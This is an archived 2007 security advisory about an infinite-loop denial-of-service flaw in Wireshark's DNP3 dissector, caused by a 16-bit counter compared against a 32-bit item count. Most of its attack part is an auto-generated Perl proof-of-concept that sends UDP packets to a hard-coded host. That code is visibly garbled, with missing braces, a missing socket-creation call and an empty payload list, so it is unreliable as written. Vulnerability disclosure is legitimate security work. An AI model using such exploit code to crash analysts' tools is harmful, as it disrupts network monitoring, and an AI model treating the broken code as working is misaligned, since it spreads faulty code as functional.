|
|||||||||||
|
Wireshark DNP3 Dissector Infinite Loop Vulnerability
From: Aviram Jenik <aviram(at)beyondsecurity.com>
Date: Tue Sep 04 2007 - 09:55:36 EDT
DETAILS Vulnerable Systems:
Immune Systems:
A vulnerability in the way Wireshark handles DNP3 data allows an attacker
to fool the dissector into thinking a negative value of items has been
provided to it as part of the Application Layer's request to read/write
objects. This in turn causes the loop found in the code:
for (temp16 = 0; temp16 < num_items; temp16++)
To enter into an infinite loop as the temp16 parameter is defined as an unsigned int of a length of 16 bits while the num_items is defined as an unsigned int of a length of 32 bits - which in turn means than a negative value will be casted into a larger than 16 bits value - as the temp16 will not be able to reach the value stored in the num_items parameter.
Proof of Concept:
#!/usr/bin/perl # Automatically generated by beSTORM(tm) # Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)
# Attack vector:
# Module:
use Getopt::Std;
$SIG{INT} = \&abort; my $host = '192.168.4.52'; my $port = 20000; my $proto = 'udp'; my $sockType = SOCK_DGRAM; my $timeout = 1;
#Read command line arguments
if (defined $opt{h}) {
usage()
$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;
my @commands = (
); ### # End user configurable part ###
#1. Create a new connection
PeerAddr => $host,
PeerPort => $port, Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!\n\n"; print "connected to: $host:$port\n";
$sock->autoflush(1);
#2. communication part
foreach my $command (@commands)
if ($command->{'Command'} eq 'Receive') {
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]\n";
}
} elsif ($command->{'Command'} eq 'Send') {
print "sending: [".$command->{'Data'}."]\n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason:
$!\n";
}
#3. Close connection
#The end
sub receive
my $tmpbuf;
while(1)
my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
if ( !defined $ret or $ret == 0 )
alarm 0;
last;
die "receive aborted\n";
sub abort
print "aborting...\n";
close $sock;
print "usage: $0 [-hHPt]\n"; print "-h\t: this help message\n"; print "-H\t: override default host - $host\n"; print "-P\t: override default port - $port\n"; print "-t\t: set socket timeout in seconds\n";exit 0; } ADDITIONAL INFORMATION
The information has been provided by beSTORM.
More information can be found at:
-- Regards, Aviram Jenik Beyond Security http://www.BeyondSecurity.comhttp://www.SecuriTeam.com Looking for Unknown Vulnerabilities? http://beyondsecurity.com/beSTORMReceived on Tue Sep 4 13:35:10 2007 This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:14:24 EDT |
||||||||||
|
|||||||||||